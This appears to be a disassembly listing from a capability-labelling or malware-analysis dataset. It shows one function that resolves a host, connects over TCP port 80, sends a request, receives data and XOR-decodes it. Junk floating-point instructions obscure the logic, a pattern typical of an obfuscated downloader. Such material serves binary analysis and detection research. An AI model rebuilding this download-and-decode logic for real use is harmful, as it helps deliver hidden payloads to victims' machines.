Function at 0x4083a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c370
push 0xffffffffffffffff
push 0x41e2ab
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x425f60]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor esi, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], esi
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], esi
mov byte [ebp + 0x1a4], 0
fldz
mov ebx, dword [ebp + 0x1448]
fst dword [ebp - 0x48]
fst dword [ebp - 0x44]
xor edx, edx
fldz
mov word [ebp - 0x3c], dx
fstp qword [ebp - 0x38]
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x14], ax
mov word [ebp - 0x14], cx
fst dword [ebp - 0x18]
mov word [ebp - 0x40], dx
mov byte [ebp + 0x11bc], al
mov eax, ebx
mov dword [ebp - 0x1c], esi
fstp dword [ebp - 0x2c]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408450
sub eax, edx
mov ecx, eax
cmp ecx, 0x7f
mov dword [ebp - 0x14], ecx
jg 0x408511
fld dword [ebp - 0x48]
fsub qword [0x41f880]
fstp dword [ebp - 0x48]
cmp esi, ecx
jg 0x4084cd
mov al, byte [esi + ebx]
mov byte [ebp + esi + 0x13bc], al
cmp al, 0x2f
jne 0x4084c6
fld1
mov byte [ebp + esi + 0x13bc], 0
fld qword [0x41f878]
mov edi, esi
cmp edi, ecx
jg 0x4084c9
fld qword [ebp - 0x38]
fadd st(2)
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsubr st(1)
call fcn.0040aeb0
mov dword [0x425e30], eax
mov cl, byte [edi + ebx]
mov eax, edi
sub eax, esi
mov byte [ebp + eax + 0x11bc], cl
mov ecx, dword [ebp - 0x14]
inc edi
jmp 0x408497
inc esi
jmp 0x408473
fstp st(1)
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084d6
sub eax, edx
mov edx, eax
mov eax, dword [ebp - 0x24]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084e7
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408536
cmp dword [ebp + 0x1b8], 0x10
jb 0x408511
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040aa3a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b473
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
mov edx, eax
jmp 0x408540
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408540
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408550
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425820
rep movsb byte es:[edi], byte [esi]
call fcn.004012d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408580
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407b30
fldz
xor eax, eax
fstp qword [ebp - 0x28]
xor ebx, ebx
mov dword [esi], eax
push esi
mov dword [ebp - 0x24], ebx
mov byte [esi + 4], al
call fcn.0040b3e5
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085c0
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408260
push 0x32
push 0x423b0c
call fcn.004012d0
fld dword [ebp - 0x18]
fadd qword [0x41f340]
add esp, 8
mov esi, eax
lea edx, [eax + 1]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fsub dword [ebp - 0x48]
fmul dword [0x425bc0]
fstp dword [0x425bc0]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408610
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408260
fldz
push 0x32
fstp qword [ebp - 0x28]
push ebx
push esi
mov dword [ebp - 0x24], ebx
call fcn.0040b4d0
push esi
call fcn.0040b3e5
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408650
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408260
fld qword [0x4235b8]
fsub qword [0x41f870]
call fcn.0040aeb0
mov word [ebp - 0x14], ax
fld qword [0x4235b8]
fsub qword [0x41f340]
push 5
push 0x4258f8
fstp qword [0x4235b8]
call fcn.004012d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086a7
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408260
fldz
xor eax, eax
fstp qword [ebp - 0x28]
mov dword [esi], eax
push esi
mov dword [ebp - 0x24], ebx
mov byte [esi + 4], al
call fcn.0040b3e5
add esp, 4
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x40875c
push 6
mov edi, 1
push edi
push 2
call sub.WS2_32.dll_socket
add word [0x4234d0], di
add dword [ebp - 0x3c], edi
mov cx, word [0x4234d0]
movsx edx, cx
mov dword [ebp - 0x14], edx
mov esi, eax
mov dword [ebp - 0x24], esi
fild dword [ebp - 0x14]
fld dword [ebp - 0x18]
mov ax, word [ebp - 0x3c]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
faddp st(1)
fcompp
fnstsw ax
test ah, 0x41
jne 0x40873e
fld dword [ebp - 0x2c]
fsub qword [0x41f868]
fstp dword [ebp - 0x2c]
jmp 0x408752
movzx edx, word [0x425e40]
add edx, 0x1294298e
mov word [0x425e40], dx
cmp esi, 0xffffffff
jne 0x408775
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408511
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408509
cmp dword [ebp + 0x1458], ebx
je 0x408796
push 4
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
je 0x40875c
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x4087fc
cmp dword [ebp + 0x1b8], edi
jmp 0x408763
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408810
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408868
fld dword [ebp - 0x18]
fsub qword [0x41f340]
fstp dword [ebp - 0x18]
dec dword [ebp - 0x1c]
fld dword [ebp - 0x18]
fadd dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
mov ax, word [ebp - 0x40]
mov dword [ebp - 0x24], edx
fiadd dword [ebp - 0x24]
movsx ecx, ax
mov dword [ebp - 0x24], ecx
fild dword [ebp - 0x24]
faddp st(1)
call fcn.0040aeb0
cmp dword [ebp + 0x1b8], edi
mov word [ebp - 0x40], ax
jmp 0x408500
mov ecx, dword [ebp - 0x20]
push ebx
push 0x41f860
call fcn.00407b30
or edi, 0xffffffff
or ebx, edi
jmp 0x408880
mov eax, dword [ebp - 0x1c]
add eax, 0x6ca6d631
cmp eax, 0x49c379fa
je 0x4088ac
fld dword [ebp - 0x48]
fsub dword [ebp - 0x18]
call fcn.0040aeb0
mov word [0x425e24], ax
fld dword [ebp - 0x18]
fsub qword [0x41f340]
fstp dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408b08
fld dword [0x423134]
mov ecx, dword [ebp - 0x20]
fsub qword [0x41f858]
push eax
lea eax, [ebp + 0x1bc]
push eax
fstp dword [0x423134]
call fcn.00408260
test edi, edi
jge 0x408a45
fld qword [0x423b58]
push 5
fadd qword [0x41f340]
push 0x4258f8
fstp qword [0x423b58]
mov cx, word [ebp - 0x40]
mov eax, dword [0x4258d8]
movsx edx, cx
sub edx, eax
mov dword [ebp - 0x2c], edx
fild dword [ebp - 0x2c]
fld qword [0x423b58]
faddp st(1)
fsubr qword [ebp - 0x38]
fstp qword [ebp - 0x38]
inc dword [ebp - 0x40]
call fcn.004012d0
fld dword [0x424744]
fsub qword [0x41f850]
add esp, 8
mov esi, eax
lea edx, [eax + 1]
fmul dword [0x425d6c]
fstp dword [0x425d6c]
fld dword [0x424744]
fadd qword [0x41f340]
fstp dword [0x424744]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408970
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00405a30
fldz
mov edi, eax
fstp qword [ebp - 0x30]
xor eax, eax
mov dword [esi], eax
push esi
mov dword [ebp - 0x2c], eax
mov byte [esi + 4], al
call fcn.0040b3e5
add esp, 4
test edi, edi
jl 0x408a45
mov ecx, dword [ebp - 0x20]
push ecx
add edi, 4
call fcn.00406e00
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
jge 0x408a49
push 0xb
push 0x425d38
call fcn.004012d0
mov edx, dword [ebp - 0x1c]
add esp, 8
mov esi, eax
cmp edx, 0xfd845bd0
je 0x4089f8
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x425e1c]
lea edx, [ecx + eax + 0x2b895ba2]
mov dword [ebp - 0x1c], edx
dec dword [0x425e1c]
mov ecx, dword [ebp - 0x20]
push 0
push esi
call fcn.00406af0
fld qword [ebp - 0x38]
mov ebx, eax
mov eax, dword [0x4234a8]
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
push esi
push 0xb
fsubp st(1)
fld qword [0x425878]
faddp st(1)
fsubr qword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x41f340]
fstp qword [ebp - 0x38]
call fcn.00402100
add esp, 8
test ebx, ebx
jge 0x408b08
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jl 0x408a59
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408b08
cmp dword [ebp + 0x1458], 0
je 0x408880
mov dx, word [ebp - 0x3c]
movsx eax, dx
mov edx, dword [0x4235c8]
mov ecx, 0x33f7903a
sub ecx, eax
lea eax, [ecx + edx]
add dword [0x425e0c], eax
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
dec dword [0x4235c8]
cmp dword [eax + 0x14], 0x4000
jb 0x408880
fld dword [ebp - 0x44]
mov ecx, dword [0x4234c8]
mov dword [ebp - 0x2c], ecx
fisub dword [ebp - 0x2c]
fld dword [0x423b04]
fcompp
fnstsw ax
fld dword [ebp - 0x44]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x44]
test ah, 0x41
jp 0x408af3
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
fild dword [ebp - 0x2c]
fld qword [str.2A_n]
fsubr qword [0x41f848]
fsubp st(1)
call fcn.0040aeb0
mov dword [ebp - 0x1c], eax
fsubr qword [str.2A_n]
fstp qword [str.2A_n]
jmp 0x408b08
fld dword [0x423b08]
fadd qword [ebp - 0x38]
fstp dword [0x423b08]
fsubr qword [ebp - 0x38]
fstp qword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
push eax
call sub.WS2_32.dll_closesocket
fld qword [0x425848]
fsub qword [0x41f840]
fstp qword [0x425848]
call sub.WS2_32.dll_WSACleanup
fld dword [0x423a38]
fstp dword [ebp - 0x44]
test edi, edi
jl 0x408b44
push edi
mov edi, dword [ebp - 0x20]
push 0
mov ecx, edi
call fcn.00406a60
jmp 0x408b47
mov edi, dword [ebp - 0x20]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x40875c
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x40875c
mov cx, word [0x425870]
movsx edx, cx
sub edx, 0xabc1072
mov dword [ebp - 0x24], edx
fild dword [ebp - 0x24]
fmul qword [0x425dd8]
fstp qword [0x425dd8]
inc word [0x425870]
cmp esi, dword [edi + 0x14]
jbe 0x408b93
call fcn.0040be22
cmp dword [edi + 0x18], 0x10
jb 0x408ba2
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408b57
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408b57